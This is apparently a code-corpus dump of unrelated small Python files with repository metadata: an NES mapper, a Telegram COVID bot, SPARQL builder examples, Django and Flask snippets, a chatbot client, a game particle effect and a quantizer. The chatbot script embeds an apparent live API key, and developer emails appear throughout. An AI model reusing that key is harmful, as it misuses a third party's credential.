self._prog_ram_banks = [] def read_byte(self, address): # Family Basic only: PRG RAM, mirrored as necessary to fill entire 8KB window, write protectable with external switch. if (address >= 0x6000 and address <= 0x7FFF): return self._prog_ram_banks[0][address - 0x6000] # First 16KB of ROM. if (address >= 0x8000 and address <= 0xBFFF): return self._prog_rom_banks[0][address - 0x8000] # Last 16KB of ROM. if (address >= 0xC000 and address <= 0xFFFF): # If there's only one page 16K of ROM, mirror bank 0 here. if (self._cartridge._total_program_rom_pages == 1): return self._prog_rom_banks[0][address - 0xC000] else: return self._prog_rom_banks[1][address - 0xC000] def write_byte(self, address, byte): raise NotImplementedError()
[ "github@ryanskeldon.com" ]
github@ryanskeldon.com
67ad181f4344f69cbff4705ffb7bf58239f6c9a1
38ca2e5a7caddb275ed4dbf6b97a6651f647b0b7
/handlers/coronavirus.py
357bdbf0fa97749bfc70d1064bdead31c4d3a621
[ "MIT" ]
permissive
alias-rahil/CSI-BroBot
9b36042f4acc1c3b97cd10bf886fbc170dd6b368
058048a2ca9c9cb160fd4ce638dd673615adec4d
refs/heads/master
2023-05-26T22:04:02.316584
2020-07-17T19:35:06
2020-07-17T19:35:06
273,964,247
1
0
MIT
2023-05-23T00:20:51
2020-06-21T18:46:21
Python
UTF-8
Python
false
false
4,133
py
import requests from telegram import ReplyKeyboardMarkup import random from telegram.ext import ConversationHandler, MessageHandler, CommandHandler, Filters from misc.text import invalid_message, corona_api, ask_date, ask_country from misc.invalid_msg import wrong_option sessions = {} def country_selection(update, context): api = corona_api response = requests.get(api).json() countries = list(response.keys()) random_country = random.choice(countries) response["World"] = [] for i in range(len(response[random_country])): confirmed = 0 recovered = 0 deaths = 0 for j in countries: confirmed += response[j][i]["confirmed"] deaths += response[j][i]["deaths"] recovered += response[j][i]["recovered"] response["World"].append( { "date": response[random_country][i]["date"], "confirmed": confirmed, "deaths": deaths, "recovered": recovered, } ) countries = ["World"] + sorted(countries) options = [] for i in range(len(countries)): options.append([countries[i]]) update.message.reply_text( ask_country, reply_markup=ReplyKeyboardMarkup( options, one_time_keyboard=True, resize_keyboard=True ), ) sessions[update.message.from_user.id] = [response] return 0 def date_selection(update, context): country = update.message.text sessions[update.message.from_user.id].append(country) if country in sessions[update.message.from_user.id][0]: options = [] for i in sessions[update.message.from_user.id][0][country]: options.append([i["date"]]) options = options[::-1] update.message.reply_text( ask_date, reply_markup=ReplyKeyboardMarkup( options, one_time_keyboard=True, resize_keyboard=True ), ) return 1 else: message = invalid_message update.message.reply_text(message) return ConversationHandler.END def corona_updates(update, context): date = update.message.text data = None for i in range( len( sessions[update.message.from_user.id][0][ sessions[update.message.from_user.id][1] ] ) ): if ( sessions[update.message.from_user.id][0][ sessions[update.message.from_user.id][1] ][i]["date"] == date ): data = sessions[update.message.from_user.id][0][ sessions[update.message.from_user.id][1] ][i] break if data: message = f'Cases: {data["confirmed"]}\n' message += f'Deaths: {data["deaths"]}\n' message += f'Recovered: {data["recovered"]}\n' try: message += f'New cases on {date}: {data["confirmed"] - sessions[update.message.from_user.id][0][sessions[update.message.from_user.id][1]][i-1]["confirmed"]}\n' message += f'New deaths on {date}: {data["deaths"] - sessions[update.message.from_user.id][0][sessions[update.message.from_user.id][1]][i-1]["deaths"]}\n' message += f'New recovered on {date}: {data["recovered"] - sessions[update.message.from_user.id][0][sessions[update.message.from_user.id][1]][i-1]["recovered"]}' except BaseException: message += f'New cases on {date}: {data["confirmed"]}\n' message += f'New deaths on {date}: {data["deaths"]}\n' message += f'New recovered on {date}: {data["recovered"]}' else: message = invalid_message update.message.reply_text(message) del sessions[update.message.from_user.id] return ConversationHandler.END corona_states = { 0: [MessageHandler(Filters.text, date_selection)], 1: [MessageHandler(Filters.text, corona_updates)], } corona_handler = ConversationHandler( entry_points=[CommandHandler("coronavirus", country_selection)], states=corona_states, fallbacks=[MessageHandler(Filters.all, wrong_option)], )
[ "rahil.kabani.4@gmail.com" ]
rahil.kabani.4@gmail.com
d0133e014ff7cf5661239e7504e6191348970723
926c8273ad571bd353eee8b25e6041715e7811c7
/sparqb/query_builder/examples.py
9ba4f22cb0901db01fecc034b20b44747c9e7631
[ "Apache-2.0" ]
permissive
sbg/sparqb
7f40b884d23c7b4fe408cce40886403951a5f505
168a78a563fc8f8c93b63399966586b6802ee894
refs/heads/master
2021-06-18T23:22:43.918500
2017-06-20T16:01:01
2017-06-20T16:01:01
94,350,524
0
0
null
null
null
null
UTF-8
Python
false
false
3,305
py
__author__ = 'Jovan Cejovic <jovan.cejovic@sbgenomics.com>' __date__ = '02 March 2016' __copyright__ = 'Copyright (c) 2016 Seven Bridges Genomics' from sparqb.query_builder.blazegraph.blazegraph_query_builder import BlazegraphQueryBuilder from sparqb.query_builder.expression import * from uuid import uuid4 from rdflib.namespace import XSD if __name__ == '__main__': qb = BlazegraphQueryBuilder() qb.axiom("a", "a", "tcga:Analyte"). \ union().axiom(var_f("a"), "a", uri_f("tcga:Aliquot")).build(). \ union().axiom("a", "a", "https://www.sbgenomics.com/ontologies/2014/11/tcga#Sample").build(). \ optional().axiom("a", "tcga:hasAmount", var_f("am")).build(). \ bind(bound_f("am"), "exists"). \ group_by("type", var_f("exists")). \ select("type").select("exists").select(as_f(count_f(distinct_f('a')), "cnt")). \ set_prefix("https://www.sbgenomics.com/ontologies/2014/11/tcga#", "tcga") query = qb.build() with open('ex1.sparql', 'w') as f: f.write(str(query)) qb = BlazegraphQueryBuilder() qb.axiom("f", "rdfs:label", var_f("fn")). \ bds_search("fn", '"C500.TCGA-ZF-AA53-10A-01D-A394-08.2"', match_all_terms=True).\ axiom("f", "tcga:hasDataFormat", "df").\ axiom(var_f("df"), "rdfs:label", "dfl").\ values(("dfl",), [('"BAM"',), ('"BAI"',)]).\ filter_exists().axiom("f", "tcga:hasCase", "c").build().\ select("f").limit(10). \ set_prefix("https://www.sbgenomics.com/ontologies/2014/11/tcga#", "tcga") query = qb.build() with open('ex2.sparql', 'w') as f: f.write(str(query)) qb = BlazegraphQueryBuilder() qb.union().\ axiom("a", "rdf:type", "tcga:Aliquot").\ union().\ axiom("a", "rdf:type", "tcga:Analyte").\ build().\ build().\ axiom("a", "tcga:hasAmount", "am").\ filter((var_f("am") > literal_f("'5.5'", uri_f(XSD.decimal))) & (var_f("am") < literal_f(5.8))).\ select("a").select("am").limit(100). \ set_prefix("https://www.sbgenomics.com/ontologies/2014/11/tcga#", "tcga") query = qb.build() with open('ex3.sparql', 'w') as f: f.write(str(query)) qb = BlazegraphQueryBuilder() qb.axiom("a", "rdf:type", "type"). \ axiom("type", "rdfs:subClassOf", "tcga:TCGAEntity"). \ group_by("type"). \ select("type").select(as_f(count_f('*'), "cnt")). \ set_prefix("https://www.sbgenomics.com/ontologies/2014/11/tcga#", "tcga") query = qb.build() with open('ex4.sparql', 'w') as f: f.write(str(query)) qb = BlazegraphQueryBuilder() qb.axiom("f", "rdfs:label", var_f("fn")). \ bds_search("fn", '"C500.TCGA-ZF-AA53-10A-01D-A394-08.2"', match_all_terms=True). \ query_id(str(uuid4())). \ axiom("f", "tcga:hasDataFormat", "df"). \ axiom(var_f("df"), "rdfs:label", "dfl"). \ values(("dfl",), [('"BAM"',), ('"BAI"',)]). \ filter_exists().axiom("f", "tcga:hasCase", "c").build(). \ select("f").select("s").limit(10). \ set_prefix("https://www.sbgenomics.com/ontologies/2014/11/tcga#", "tcga") query = qb.build() with open('ex5.sparql', 'w') as f: f.write(str(query))
[ "vladimir.mladenovic@sbgenomics.com" ]
vladimir.mladenovic@sbgenomics.com
f6977ac67730ba0341aac78a26f5ce302c583f94
f15a00da546184507d5306b2623e03763d0cc37a
/article/templatetags/article_tags.py
394478edd01931a8a011e68189d1d543725492f8
[ "Apache-2.0" ]
permissive
glon/django_blog
c06e72c43f39c464a4d98722c7ae0d33c9523c7b
4f9d9b93886ca5f861edfcd29b06df1bcedce1ad
refs/heads/master
2021-07-04T16:50:17.982966
2017-09-27T08:24:41
2017-09-27T08:24:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
835
py
from django import template from article.models import ArticlePost from django.db.models import Count from django.utils.safestring import mark_safe import markdown register = template.Library() @register.simple_tag def total_articles(): return ArticlePost.objects.count() @register.simple_tag def author_total_articles(user): return user.article.count() @register.inclusion_tag('article/latest_articles.html') def latest_articles(n=5): newest_articles = ArticlePost.objects.order_by("-created")[:n] return {"latest_articles":newest_articles} @register.assignment_tag def most_commented_articles(n=3): return ArticlePost.objects.annotate(total_comments=Count('comments')).order_by("-total_comments")[:n] @register.filter(name='markdown') def markdown_filter(text): return mark_safe(markdown.markdown(text))
[ "562071793@qq.com" ]
562071793@qq.com
73a9f7561884b3e2a1f48d82aa9dd9fd18077387
635e9b697a75fb7fba0dbbf3340401b75a77053a
/flask/app/forms.py
82a216a1d45816a198bf41f05c49d89d69781ffe
[]
no_license
Watchfuls/University
9de23ff166bcb901c17b46258e87457db2db011d
99447d1a5ad66088c15af50a1f88f126ea1e5175
refs/heads/master
2022-10-10T00:27:07.615228
2018-01-20T18:17:18
2018-01-20T18:17:18
118,266,764
0
1
null
2022-10-07T19:15:41
2018-01-20T17:52:19
Python
UTF-8
Python
false
false
417
py
from flask_wtf import Form from wtforms import StringField,IntegerField from wtforms.validators import DataRequired class todoForm(Form): taskstring = StringField('taskstring', validators=[DataRequired()]) completedstring = StringField('completedstring', validators=[DataRequired()]) class JobsForm(Form): jobs = IntegerField('jobs') class RemoveForm(Form): removestring = StringField('removestring')
[ "greghs@users.noreply.github.com" ]
greghs@users.noreply.github.com
26d9cb5cae76b1197aa9fdef8f136785d5bb0d2d
a0b3945f7f2d76e531b244f0137a1f17af7ce880
/图灵机器人/图灵机器人1.py
c00e93a592857ecd1ea55bace810481eedae63fb
[]
no_license
keyboylhq/robot_vision
65a0226565823009a6afae0df9ea2d3122335573
47008a6b8b40cc92d76968b1c1fdee62124ca4e1
refs/heads/master
2023-02-01T00:31:48.011880
2020-12-14T03:30:56
2020-12-14T03:30:56
318,075,969
1
0
null
null
null
null
UTF-8
Python
false
false
1,644
py
import requests import json imageUrl = '' city = '广东' province = '湛江' street = '遂溪' api_url = "http://openapi.tuling123.com/openapi/api/v2" text_input = input('我:') while True: # text_input = input('我:') # text_input = '今天天气' req = { "reqType":0, "perception": { "inputText": { "text": text_input }, "inputImage": { "url": imageUrl }, "selfInfo": { "location": { "city": city, "province": province, "street": street } } }, "userInfo": { "apiKey": "d4ddc26d5933455a8644652bc0a33346", "userId": "OnlyUseAlphabet" } } req = json.dumps(req).encode('utf8') # s = json.dumps({'key1': 'value1', 'key2': 'value2'}) r = requests.post(api_url, data=req) # response_dic = json.loads(r) # print(response_dic) # print(type(r)) response_str =r.text response_dic = json.loads(response_str) # print(type(r.text)) # print(type(response_dic)) # print(r.text) # print(response_dic) results_text = response_dic['results'][0]['values']['text'] # print('code:' + str(intent_code)) print('robot_text:' + results_text) print('我:' + results_text) text_input = results_text # results_text = response_dic['results'][0]['values']['text'] # print('code:' + str(intent_code)) # print('robot_text:' + results_text)
[ "1481903100@qq.com" ]
1481903100@qq.com
dd9b0ef8e64753a4982781b6bc1b9804d96173f1
57d261d29b407a82107e973aa085f7b051d47de0
/bannerapp/migrations/0001_initial.py
8f0bc463a6117146572e39ed61d6df69600c6036
[]
no_license
hjx-python/hjx_cmfz
953d328bfc8bd4a219b280d86a15b522a93d1113
1c8cd6ce58bc20bc3a83d97a5337920e99b91082
refs/heads/master
2021-02-17T15:29:42.301747
2020-03-08T08:11:45
2020-03-08T08:11:45
245,107,406
0
0
null
null
null
null
UTF-8
Python
false
false
734
py
# Generated by Django 2.0.6 on 2020-03-05 09:08 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Banner', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=32)), ('status', models.NullBooleanField()), ('create_time', models.DateTimeField()), ('pic', models.ImageField(upload_to='pic')), ], options={ 'db_table': 'banner', }, ), ]
[ "314379313@qq.com" ]
314379313@qq.com
91c2efcb17277dc9655d1c00ba7117307c95135c
21b4a7d4a16e9a7ef54c9e87fe6d4cc6a00f2a41
/basic/n_1022_.py
83a9de0ca817d84233210d11211ac01e14cfa3e5
[]
no_license
sseraa/CodeUp
3d3e7aecb21206179d363adcbcd5411275bfb39d
b5271076f4c852de38077922b3f8fd42001d262d
refs/heads/main
2023-03-03T16:47:20.976461
2021-02-08T14:32:00
2021-02-08T14:32:00
319,667,799
0
0
null
null
null
null
UTF-8
Python
false
false
244
py
#1022 string = input() print(string) #1023 # map(a,b) #f,b = input().split(".") #what diff? f,b = map(str,input().split(".")) print(f,b,sep="\n") print(type(f)) #1024 string = input() for i in range(len(string)): print("'"+string[i]+"'")
[ "noreply@github.com" ]
noreply@github.com
e73ea00412857d8bc51a1b6f7dd676d32b152336
1c6a29a7dcd62470d594d5e42dbea9ff79cc47f5
/shade/_heat/utils.py
24cb0b07115e1da1eb535444aa86612c446b7d0a
[ "Apache-2.0" ]
permissive
major/shade
a1691a3e3311f1b87f4a31c3a26929ddc2541b7a
0ced9b5a7568dd8e4a33b6627f636639bcbbd8a3
refs/heads/master
2023-06-07T17:15:47.089102
2020-06-01T22:59:14
2020-06-01T22:59:14
54,499,600
0
0
Apache-2.0
2023-06-01T21:26:36
2016-03-22T18:34:14
Python
UTF-8
Python
false
false
1,842
py
# Copyright 2012 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import base64 import os from six.moves.urllib import error from six.moves.urllib import parse from six.moves.urllib import request from shade import exc def base_url_for_url(url): parsed = parse.urlparse(url) parsed_dir = os.path.dirname(parsed.path) return parse.urljoin(url, parsed_dir) def normalise_file_path_to_url(path): if parse.urlparse(path).scheme: return path path = os.path.abspath(path) return parse.urljoin('file:', request.pathname2url(path)) def read_url_content(url): try: # TODO(mordred) Use requests content = request.urlopen(url).read() except error.URLError: raise exc.OpenStackCloudException( 'Could not fetch contents for %s' % url) if content: try: content.decode('utf-8') except ValueError: content = base64.encodestring(content) return content def resource_nested_identifier(rsrc): nested_link = [l for l in rsrc.links or [] if l.get('rel') == 'nested'] if nested_link: nested_href = nested_link[0].get('href') nested_identifier = nested_href.split("/")[-2:] return "/".join(nested_identifier)
[ "mordred@inaugust.com" ]
mordred@inaugust.com
488399fdb504ae50e47833dff927ee9e6ba0f590
ebd5c4632bb5f85c9e3311fd70f6f1bf92fae53f
/Sourcem8/pirates/effects/JRTeleportEffect.py
8882e9e00c07ab5214be47edb6f53d4ae176d94a
[]
no_license
BrandonAlex/Pirates-Online-Retribution
7f881a64ec74e595aaf62e78a39375d2d51f4d2e
980b7448f798e255eecfb6bd2ebb67b299b27dd7
refs/heads/master
2020-04-02T14:22:28.626453
2018-10-24T15:33:17
2018-10-24T15:33:17
154,521,816
2
1
null
null
null
null
UTF-8
Python
false
false
8,337
py
# File: J (Python 2.4) from pandac.PandaModules import * from direct.interval.IntervalGlobal import * from direct.particles import ParticleEffect from direct.particles import Particles from direct.particles import ForceGroup from EffectController import EffectController from PooledEffect import PooledEffect import random class JRTeleportEffect(PooledEffect, EffectController): card2Scale = 32.0 cardScale = 32.0 def __init__(self, parent = None): PooledEffect.__init__(self) EffectController.__init__(self) if parent is not None: self.reparentTo(parent) if not JRTeleportEffect.particleDummy: JRTeleportEffect.particleDummy = render.attachNewNode(ModelNode('JRTeleportEffectParticleDummy')) JRTeleportEffect.particleDummy.setColorScaleOff() JRTeleportEffect.particleDummy.setLightOff() JRTeleportEffect.particleDummy.setFogOff() JRTeleportEffect.particleDummy.setDepthWrite(0) JRTeleportEffect.particleDummy.setBin('fixed', 40) self.effectScale = 1.0 self.duration = 3.0 self.radius = 1.0 model = loader.loadModel('models/effects/particleMaps') self.card = model.find('**/particleEvilSmoke') self.card2 = model.find('**/particleWhiteSmoke') self.f = ParticleEffect.ParticleEffect('JRTeleportEffect') self.f.reparentTo(self) self.p0 = Particles.Particles('particles-1') self.p0.setFactory('ZSpinParticleFactory') self.p0.setRenderer('SpriteParticleRenderer') self.p0.setEmitter('SphereVolumeEmitter') self.p1 = Particles.Particles('particles-2') self.p1.setFactory('ZSpinParticleFactory') self.p1.setRenderer('SpriteParticleRenderer') self.p1.setEmitter('SphereVolumeEmitter') self.f.addParticles(self.p0) self.f.addParticles(self.p1) f1 = ForceGroup.ForceGroup('Noise') force1 = LinearNoiseForce(0.5, 0) force1.setVectorMasks(0, 1, 1) force1.setActive(1) f1.addForce(force1) self.f.addForceGroup(f1) self.p0.setPoolSize(256) self.p0.setBirthRate(0.050000000000000003) self.p0.setLitterSize(24) self.p0.setLitterSpread(8) self.p0.setSystemLifespan(0.0) self.p0.setLocalVelocityFlag(1) self.p0.setSystemGrowsOlderFlag(0) self.p0.factory.setLifespanBase(1.25) self.p0.factory.setLifespanSpread(0.5) self.p0.factory.setMassBase(4.0) self.p0.factory.setMassSpread(0.0) self.p0.factory.setTerminalVelocityBase(400.0) self.p0.factory.setTerminalVelocitySpread(0.0) self.p0.factory.setInitialAngle(0.0) self.p0.factory.setInitialAngleSpread(90.0) self.p0.factory.enableAngularVelocity(1) self.p0.factory.setAngularVelocity(500.0) self.p0.factory.setAngularVelocitySpread(100.0) self.p0.renderer.setAlphaMode(BaseParticleRenderer.PRALPHAINOUT) self.p0.renderer.setUserAlpha(1.0) self.p0.renderer.setFromNode(self.card) self.p0.renderer.setColor(Vec4(1.0, 1.0, 1.0, 1.0)) self.p0.renderer.setXScaleFlag(1) self.p0.renderer.setYScaleFlag(1) self.p0.renderer.setAnimAngleFlag(1) self.p0.renderer.setNonanimatedTheta(0.0) self.p0.renderer.setAlphaBlendMethod(BaseParticleRenderer.PPBLENDLINEAR) self.p0.renderer.setAlphaDisable(0) self.p0.renderer.setColorBlendMode(ColorBlendAttrib.MAdd, ColorBlendAttrib.OIncomingAlpha, ColorBlendAttrib.OOne) self.p0.renderer.getColorInterpolationManager().addLinear(0.0, 0.59999999999999998, Vec4(1.0, 1.0, 0.20000000000000001, 1.0), Vec4(0.80000000000000004, 0.59999999999999998, 0.25, 0.75), 1) self.p0.renderer.getColorInterpolationManager().addLinear(0.59999999999999998, 1.0, Vec4(0.80000000000000004, 0.59999999999999998, 0.25, 0.75), Vec4(0.5, 0.25, 0.0, 0.0), 1) self.p0.emitter.setEmissionType(BaseParticleEmitter.ETRADIATE) self.p0.emitter.setExplicitLaunchVector(Vec3(1.0, 0.0, 0.0)) self.p0.emitter.setRadiateOrigin(Point3(0.0, 0.0, -5.0)) self.p1.setPoolSize(150) self.p1.setBirthRate(0.01) self.p1.setLitterSize(3) self.p1.setLitterSpread(0) self.p1.setSystemLifespan(0.0) self.p1.setLocalVelocityFlag(1) self.p1.setSystemGrowsOlderFlag(0) self.p1.factory.setLifespanBase(1.0) self.p1.factory.setLifespanSpread(0.0) self.p1.factory.setMassBase(1.0) self.p1.factory.setMassSpread(0.0) self.p1.factory.setTerminalVelocityBase(400.0) self.p1.factory.setTerminalVelocitySpread(0.0) self.p1.factory.setInitialAngle(0.0) self.p1.factory.setInitialAngleSpread(45.0) self.p1.factory.enableAngularVelocity(0) self.p1.factory.setFinalAngle(360.0) self.p1.factory.setFinalAngleSpread(0.0) self.p1.renderer.setAlphaMode(BaseParticleRenderer.PRALPHAINOUT) self.p1.renderer.setUserAlpha(1.0) self.p1.renderer.setFromNode(self.card2) self.p1.renderer.setColor(Vec4(1.0, 1.0, 1.0, 1.0)) self.p1.renderer.setXScaleFlag(1) self.p1.renderer.setYScaleFlag(1) self.p1.renderer.setAnimAngleFlag(1) self.p1.renderer.setNonanimatedTheta(0.0) self.p1.renderer.setAlphaBlendMethod(BaseParticleRenderer.PPBLENDLINEAR) self.p1.renderer.setAlphaDisable(0) self.p1.renderer.setColorBlendMode(ColorBlendAttrib.MAdd, ColorBlendAttrib.OIncomingAlpha, ColorBlendAttrib.OOne) self.p1.renderer.getColorInterpolationManager().addLinear(0.0, 0.5, Vec4(1.0, 1.0, 0.20000000000000001, 1.0), Vec4(0.80000000000000004, 0.59999999999999998, 0.25, 0.75), 1) self.p1.renderer.getColorInterpolationManager().addLinear(0.5, 1.0, Vec4(0.80000000000000004, 0.59999999999999998, 0.25, 0.75), Vec4(0.5, 0.25, 0.0, 0.5), 1) self.p1.emitter.setEmissionType(BaseParticleEmitter.ETRADIATE) self.p1.emitter.setExplicitLaunchVector(Vec3(1.0, 0.0, 0.0)) self.p1.emitter.setRadiateOrigin(Point3(0.0, 0.0, 0.0)) self.setEffectScale(self.effectScale) def createTrack(self): self.startEffect = Sequence(Func(self.p0.setBirthRate, 0.10000000000000001), Func(self.p0.clearToInitial), Func(self.p1.setBirthRate, 0.02), Func(self.p1.clearToInitial), Func(self.f.start, self, self.particleDummy)) self.endEffect = Sequence(Func(self.p0.setBirthRate, 100), Func(self.p1.setBirthRate, 100), Wait(2.0), Func(self.cleanUpEffect)) self.track = Sequence(self.startEffect, Wait(self.duration), self.endEffect) def reSize(self, t): if self.p1: self.p1.emitter.setRadius(self.radius * t) def setEffectScale(self, scale): self.effectScale = scale if self.p0: self.p0.renderer.setInitialXScale(0.025000000000000001 * self.effectScale * self.cardScale) self.p0.renderer.setFinalXScale(0.014999999999999999 * self.effectScale * self.cardScale) self.p0.renderer.setInitialYScale(0.014999999999999999 * self.effectScale * self.cardScale) self.p0.renderer.setFinalYScale(0.050000000000000003 * self.effectScale * self.cardScale) self.p0.emitter.setAmplitude(self.effectScale) self.p0.emitter.setOffsetForce(Vec3(0.0, 0.0, -1.5) * self.effectScale) self.p0.emitter.setRadius(self.effectScale) if self.p1: self.p1.renderer.setInitialXScale(0.014999999999999999 * self.effectScale * self.cardScale) self.p1.renderer.setFinalXScale(0.029999999999999999 * self.effectScale * self.cardScale) self.p1.renderer.setInitialYScale(0.014999999999999999 * self.effectScale * self.cardScale) self.p1.renderer.setFinalYScale(0.050000000000000003 * self.effectScale * self.cardScale) self.p1.emitter.setAmplitude(self.effectScale) self.p1.emitter.setOffsetForce(Vec3(0.0, 0.0, -3.0) * self.effectScale) self.p1.emitter.setRadius(self.effectScale * 1.25) def cleanUpEffect(self): EffectController.cleanUpEffect(self) self.checkInEffect(self) def destroy(self): EffectController.destroy(self) PooledEffect.destroy(self)
[ "brandoncarden12345@gmail.com" ]
brandoncarden12345@gmail.com
acf50301d0e79253163b3e8893e09378f5d033af
c4bb3c80e14b7c35d7f5dc92234f9e500d2c8628
/Day3-Part1.py
b5cafe4cb9e5a4d0c09046dffdff963da0701169
[]
no_license
SeanJumper/Python
20861955a09259008ca75dcb15a47f04db733549
e23c4a485d517c72359502f9586350cad0db7b38
refs/heads/master
2023-04-26T02:31:26.944131
2021-05-21T18:23:14
2021-05-21T18:23:14
338,410,352
0
0
null
null
null
null
UTF-8
Python
false
false
280
py
#Defining a function def hint_username(username): if len(username) < 3: print("Invalid Username. Must be at least three characters long") else: print("Welcome to the team") input_username = input("what is your username:\n") hint_username(input_username)
[ "sean23397@gmail.com" ]
sean23397@gmail.com
c64212fbcaa3ae1e49feb372c55e74cd6e4024a0
26bcead33b5ae529883f940d34c8ed6e1f1571af
/src/wordnet/__init__.py
4e32b07df0478eabe63805e0922d9d3093bec5ff
[]
no_license
julieweeds/WordNet
a6ef1c7c757f60108c73ad02cfd43e902c2094c1
69c353c2cc0b6e5527f016a317e59bd43b8ceb45
refs/heads/master
2020-12-25T19:26:01.102329
2015-06-09T15:02:27
2015-06-09T15:02:27
9,606,663
0
0
null
null
null
null
UTF-8
Python
false
false
21
py
__author__ = 'Julie'
[ "julie.weeds@gmail.com" ]
julie.weeds@gmail.com
8ccb364187cd1c5d706fd89a0cf0b59bdb696a62
c595f403a5661ff48fbc7a0ab20ce055444b385e
/text_style_transfer/migrations/0001_initial.py
6315759ea688ccdf5dd39d51291da9cf7acd6b53
[]
no_license
AliaksandrKalenik/yrunner
0570937b43be4cdc62ad94c378d59fe41d30aa05
83e2fd004c7524111362d9af2ed4819200717014
refs/heads/master
2021-05-08T10:33:42.757167
2018-09-25T13:46:30
2018-09-25T13:46:30
119,847,964
0
0
null
2018-03-28T15:26:15
2018-02-01T14:39:13
Python
UTF-8
Python
false
false
1,210
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2018-02-12 15:48 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='TrainModelRequest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('record_created', models.DateTimeField(auto_now_add=True, verbose_name='Record created')), ('record_modified', models.DateTimeField(auto_now=True, verbose_name='Record modified')), ('train_data_url', models.URLField(verbose_name='Train data URL')), ('status', models.CharField(choices=[('pending', 'pending'), ('in_progress', 'in_progress'), ('completed', 'completed'), ('failed', 'failed')], default='pending', max_length=100)), ('model_path', models.FilePathField(default='/Users/alex/work/yrunner/templates/nt_weights', verbose_name='Model path')), ('log', models.TextField(default='', verbose_name='Log')), ], ), ]
[ "a.kalenik94@gmail.com" ]
a.kalenik94@gmail.com
8f31c83d2cf445f4383ccb17e555bd9604837762
23c7249b431c7b9cf1832631ad92816083f6b192
/2018/src/day1.py
870bb5f27bfdfdcd86b61359284edb6d778e4dc1
[]
no_license
billy1kaplan/AdventofCode
30643f6934acbcb9c7cab948c60de15561398e84
8783b8780504343aaed7878e2ac17fecbee48ade
refs/heads/master
2020-04-14T09:02:57.666779
2018-12-25T06:41:51
2018-12-25T06:41:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
675
py
# Day 1: Coronal Calibration def calibrate(): with open('../assets/day1_input.txt') as file: total = 0 for line in file: total += int(line) print('The total frequency change is %d' % total) def calibrate_2(): with open('../assets/day1_input.txt') as file: deltas = [] for line in file: deltas.append(int(line)) frequency = 0 values = set() index = 0 length = len(deltas) while frequency not in values: values.add(frequency) frequency += deltas[index] index = (index + 1) % length print('The first repeated frequency is %d!' % frequency) calibrate_2()
[ "alex@molleroneill.com" ]
alex@molleroneill.com
6b02efb3ffff87a1947b446d25a44bca6402c080
246d6d6a40430e3597e91c0caa88232b05d289da
/gallery/migrations/0002_auto_20190215_2053.py
93217938f61c2a3ba64bf6963a3e5b0567c5b2a4
[]
no_license
jijiwi/portfoloi
659e5b80906ba1654afbcd24123564294a49011d
a1924b3a7c28e0275a25508ead19449691776011
refs/heads/master
2020-04-23T01:32:27.747839
2019-02-16T09:02:00
2019-02-16T09:02:00
170,815,899
0
0
null
null
null
null
UTF-8
Python
false
false
769
py
# Generated by Django 2.1.5 on 2019-02-15 12:53 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('gallery', '0001_initial'), ] operations = [ migrations.AddField( model_name='gallery', name='image', field=models.ImageField(default='default.png', upload_to='image'), ), migrations.AddField( model_name='gallery', name='title', field=models.CharField(default='标题', max_length=50), ), migrations.AlterField( model_name='gallery', name='description', field=models.CharField(default='在此处填写作品简介', max_length=100), ), ]
[ "1716357925@qq.com" ]
1716357925@qq.com
9792a5b3135bd29aa5e53b9ae8901a638fa9d8f1
c6759b857e55991fea3ef0b465dbcee53fa38714
/tools/nntool/nntool/quantization/multiplicative/quantizers/default_mult.py
0385ebd178ce814eee4883e29eda75e12c0747cf
[ "AGPL-3.0-or-later", "AGPL-3.0-only", "GPL-1.0-or-later", "LicenseRef-scancode-other-copyleft", "Apache-2.0" ]
permissive
GreenWaves-Technologies/gap_sdk
1b343bba97b7a5ce62a24162bd72eef5cc67e269
3fea306d52ee33f923f2423c5a75d9eb1c07e904
refs/heads/master
2023-09-01T14:38:34.270427
2023-08-10T09:04:44
2023-08-10T09:04:44
133,324,605
145
96
Apache-2.0
2023-08-27T19:03:52
2018-05-14T07:50:29
C
UTF-8
Python
false
false
1,696
py
# Copyright (C) 2020 GreenWaves Technologies, SAS # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. import logging import numpy as np from nntool.quantization.qtype_constraint import MatchAll from nntool.quantization.quantizers.no_change_mixin import NoChangeMixin from nntool.quantization.unified_quantization_handler import (in_qs_constraint, needs_stats, out_qs_constraint, params_type) from ..mult_quantization_handler import MultQuantizionHandler LOG = logging.getLogger('nntool.' + __name__) @params_type('__default__') @in_qs_constraint(MatchAll({'dtype': set([np.int8, np.int16, np.uint8, np.uint16])})) @out_qs_constraint(MatchAll({'dtype': set([np.int8, np.int16, np.uint8, np.uint16])})) @needs_stats(False) class NoChangeMult(MultQuantizionHandler, NoChangeMixin): @classmethod def _quantize(cls, params, in_qs, stats, **kwargs): return cls._handle(params, in_qs, stats, 'scaled', **kwargs)
[ "yao.zhang@greenwaves-technologies.com" ]
yao.zhang@greenwaves-technologies.com
1177ab9475ae054b2b5b2dc251aafacfd30a76fc
4db643b908cd648e7c5abf60b9e87b837b1cf953
/django_myblog/blog/migrations/0002_article_pub_time.py
b3f6b6e888c2462e4be35701b325f3a532a717c0
[]
no_license
ciphermagic/python-learn
6d09207996f30afc2b9f9284f9018fea6f270d19
